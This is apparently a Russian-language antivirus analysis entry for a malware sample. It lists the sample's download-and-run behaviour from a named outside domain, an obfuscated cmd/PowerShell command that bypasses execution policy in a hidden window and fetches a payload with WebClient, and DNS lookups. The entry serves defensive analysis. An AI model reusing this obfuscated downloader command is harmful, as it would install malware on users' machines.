Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^o^W^e^r^ShE^l^l.E^X^e ^-Ex^EcUTiOnPoL^ICY ^b^yp^A^s^s ^-nO^PrOFi^lE -wINDO^W^STy^lE ^h^I^DD^eN^ (^NEW-^obJ^ecT^ ^SYs^te^M.NeT.wEb^CL^iEnt)^.DoWn^loADfi^lE^(^'http://www.fa...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^o^W^e^r^ShE^l^l.E^X^e ^-Ex^EcUTiOnPoL^ICY ^b^yp^A^s^s ^-nO^PrOFi^lE -wINDO^W^STy^lE ^h^I^DD^eN^ (^NEW-^obJ^ecT^ ^SYs^te^M.NeT.wEb^CL^iEnt)^.DoWn^loADfi^lE^(^'http://www.fa...' (со скрытым окном)
